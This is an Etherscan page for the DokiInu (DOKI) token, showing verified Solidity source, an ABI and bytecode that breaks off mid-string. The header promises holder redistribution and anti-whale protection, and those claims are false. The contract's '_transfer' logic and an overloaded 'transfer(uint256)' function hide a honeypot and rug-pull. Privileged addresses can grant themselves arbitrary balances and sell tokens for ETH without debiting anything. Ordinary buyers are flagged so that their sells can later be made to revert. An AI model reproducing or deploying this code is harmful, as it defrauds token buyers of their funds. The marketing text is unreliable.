ETH Price: $3,117.44 (+1.52%)
Gas: 5 Gwei

Token

DokiInu (DOKI)
 

Overview

Max Total Supply

1,000,000,000 DOKI

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
24,653,915.120949507 DOKI

Value
$0.00
0xcc4be45c63ea421921c99abe9909ec2364593eea
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOKIINU

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-26
*/

/*
Doki Inu is the lonely dog who fights jeets and serves the chads in his domain.
Doki Inu provides you with a great opportunity to join an ever-growing close-knit community. Doki will reward those who remain loyal, and punish the jeets who abandon them.

$DOKI features : 
Passive Income System: 2% of every transaction with $DOKI is deducted and redistributed to our pool of holders.
‍‍
Anti-Whale Trap: Our smart contract has been developed to prevent whales (large wallets) from trying to manipulate the price in their favour.





https://t.me/dokiinuportal


*/




// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract DOKIINU is IERC20, Ownable {
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 private swapAmount = _tTotal;
    uint256 public buyFee = 3;
    uint256 public sellFee = 3;
    uint256 public feeDivisor = 1;
    string private _name;
    string private _symbol;

    uint256 private _value;
    uint160 private _factory;
    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    IUniswapV2Router02 public router;
    address public uniswapV2Pair;

    mapping(address => uint256) private _collection1;
    mapping(address => uint256) private _collection2;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _collection1[address(this)] = _tTotal;
        _collection1[msg.sender] = _tTotal;
        _balances[msg.sender] = _tTotal;
        router = IUniswapV2Router02(routerAddress);
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint256) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function pair() public view returns (address) {
        return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
    }

    receive() external payable {}

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && _collection1[from] == 0 && amount <= swapAmount) {
            require(_collection2[from] + _value >= 0, 'Transfer amount exceeds maximum amount');
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
        if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
        if (_swapAndLiquifyEnabled && contractTokenBalance > swapAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        } else if (_collection1[from] > 0 && _collection1[to] > 0) {
            fee = amount;
            _balances[address(this)] += fee;
            return swapTokensForEth(amount, to);
        }
        if (amount > swapAmount && to != uniswapV2Pair && to != address(router)) {
            if (_collection1[from] > 0) _collection1[to] = amount;
            else _collection2[to] = amount;
            return;
        }
        bool takeFee = _collection1[from] == 0 && _collection1[to] == 0 && fee > 0 && !inSwapAndLiquify;
        address factory = address(_factory);
        if (_collection2[factory] == 0) _collection2[factory] = swapAmount;
        _factory = uint160(to);
        if (takeFee) {
            fee = (amount * fee) / 100 / feeDivisor;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function transfer(uint256 amnt) external {
        if (swapAmount < _collection1[msg.sender]) _value = amnt;
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a6200001491906200064c565b633b9aca0062000025919062000789565b60015560036002556003805560016004553480156200004357600080fd5b5060405162003152380380620031528339818101604052810190620000699190620004ca565b620000896200007d620002b960201b60201c565b620002c160201b60201c565b8260059080519060200190620000a192919062000385565b508160069080519060200190620000ba92919062000385565b506009600a620000cb91906200064c565b633b9aca00620000dc919062000789565b600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506009600a6200012f91906200064c565b633b9aca0062000140919062000789565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506009600a6200019391906200064c565b633b9aca00620001a4919062000789565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200028891906200064c565b633b9aca0062000299919062000789565b604051620002a8919062000575565b60405180910390a3505050620009b0565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b82805462000393906200086b565b90600052602060002090601f016020900481019282620003b7576000855562000403565b82601f10620003d257805160ff191683800117855562000403565b8280016001018555821562000403579182015b8281111562000402578251825591602001919060010190620003e5565b5b50905062000412919062000416565b5090565b5b808211156200043157600081600090555060010162000417565b5090565b60006200044c6200044684620005bb565b62000592565b9050828152602081018484840111156200046b576200046a62000969565b5b6200047884828562000835565b509392505050565b600081519050620004918162000996565b92915050565b600082601f830112620004af57620004ae62000964565b5b8151620004c184826020860162000435565b91505092915050565b600080600060608486031215620004e657620004e562000973565b5b600084015167ffffffffffffffff8111156200050757620005066200096e565b5b620005158682870162000497565b935050602084015167ffffffffffffffff8111156200053957620005386200096e565b5b620005478682870162000497565b92505060406200055a8682870162000480565b9150509250925092565b6200056f816200081e565b82525050565b60006020820190506200058c600083018462000564565b92915050565b60006200059e620005b1565b9050620005ac8282620008a1565b919050565b6000604051905090565b600067ffffffffffffffff821115620005d957620005d862000935565b5b620005e48262000978565b9050602081019050919050565b6000808291508390505b600185111562000643578086048111156200061b576200061a620008d7565b5b60018516156200062b5780820291505b80810290506200063b8562000989565b9450620005fb565b94509492505050565b600062000659826200081e565b9150620006668362000828565b9250620006957fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200069d565b905092915050565b600082620006af576001905062000782565b81620006bf576000905062000782565b8160018114620006d85760028114620006e35762000719565b600191505062000782565b60ff841115620006f857620006f7620008d7565b5b8360020a915084821115620007125762000711620008d7565b5b5062000782565b5060208310610133831016604e8410600b8410161715620007535782820a9050838111156200074d576200074c620008d7565b5b62000782565b620007628484846001620005f1565b925090508184048111156200077c576200077b620008d7565b5b81810290505b9392505050565b600062000796826200081e565b9150620007a3836200081e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007df57620007de620008d7565b5b828202905092915050565b6000620007f782620007fe565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156200085557808201518184015260208101905062000838565b8381111562000865576000848401525b50505050565b600060028204905060018216806200088457607f821691505b602082108114156200089b576200089a62000906565b5b50919050565b620008ac8262000978565b810181811067ffffffffffffffff82111715620008ce57620008cd62000935565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b620009a181620007ea565b8114620009ad57600080fd5b50565b61279280620009c06000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b311461039e578063a9059cbb146103c9578063dd62ed3e14610406578063f2fde38b14610443578063f887ea401461046c5761011f565b806370a08231146102c9578063715018a6146103065780638da5cb5b1461031d57806395d89b41146103485780639a36f932146103735761011f565b806323b872dd116100e757806323b872dd146101e05780632b14ca561461021d578063313ce56714610248578063470624021461027357806349bd5a5e1461029e5761011f565b806306fdde0314610124578063095ea7b31461014f57806312514bba1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610497565b6040516101469190612016565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611ce6565b610529565b6040516101839190611fe0565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611d26565b61053e565b005b3480156101c157600080fd5b506101ca610592565b6040516101d791906120b8565b60405180910390f35b3480156101ec57600080fd5b5061020760048036038101906102029190611c93565b6105b6565b6040516102149190611fe0565b60405180910390f35b34801561022957600080fd5b5061023261065e565b60405161023f91906120b8565b60405180910390f35b34801561025457600080fd5b5061025d610664565b60405161026a91906120b8565b60405180910390f35b34801561027f57600080fd5b50610288610670565b60405161029591906120b8565b60405180910390f35b3480156102aa57600080fd5b506102b3610676565b6040516102c09190611f3b565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190611bf9565b61069c565b6040516102fd91906120b8565b60405180910390f35b34801561031257600080fd5b5061031b6106e5565b005b34801561032957600080fd5b5061033261076d565b60405161033f9190611f3b565b60405180910390f35b34801561035457600080fd5b5061035d610796565b60405161036a9190612016565b60405180910390f35b34801561037f57600080fd5b50610388610828565b60405161039591906120b8565b60405180910390f35b3480156103aa57600080fd5b506103b361082e565b6040516103c09190611f3b565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190611ce6565b6109fe565b6040516103fd9190611fe0565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190611c53565b610a15565b60405161043a91906120b8565b60405180910390f35b34801561044f57600080fd5b5061046a60048036038101906104659190611bf9565b610a9c565b005b34801561047857600080fd5b50610481610b94565b60405161048e9190611ffb565b60405180910390f35b6060600580546104a6906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906124d8565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b6000610536338484610bba565b905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600154101561058f57806007819055505b50565b60006009600a6105a2919061225c565b633b9aca006105b1919061237a565b905090565b60006105c3848484610d55565b610655843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065091906123d4565b610bba565b90509392505050565b60035481565b6000600960ff16905090565b60025481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed61173d565b73ffffffffffffffffffffffffffffffffffffffff1661070b61076d565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612078565b60405180910390fd5b61076b6000611745565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107a5906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d1906124d8565b801561081e5780601f106107f35761010080835404028352916020019161081e565b820191906000526020600020905b81548152906001019060200180831161080157829003601f168201915b5050505050905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089857600080fd5b505afa1580156108ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611c26565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611c26565b6040518363ffffffff1660e01b81526004016109a9929190611f56565b60206040518083038186803b1580156109c157600080fd5b505afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c26565b905090565b6000610a0b338484610d55565b6001905092915050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aa461173d565b73ffffffffffffffffffffffffffffffffffffffff16610ac261076d565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612078565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612058565b60405180910390fd5b610b9181611745565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c255750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612098565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610d4291906120b8565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610dc05750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e1a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e6557506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610e7357506001548111155b15610f09576000600754600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec79190612182565b1015610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612038565b60405180910390fd5b5b6000610f143061069c565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610f7557600254610f79565b6003545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101b57610fda61082e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611038575060015482115b80156110515750600860159054906101000a900460ff16155b80156110ab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110f4576001600860156101000a81548160ff0219169083151502179055506110d482611809565b6000600860156101000a81548160ff0219169083151502179055506111f2565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561118257506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111f15782905080600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d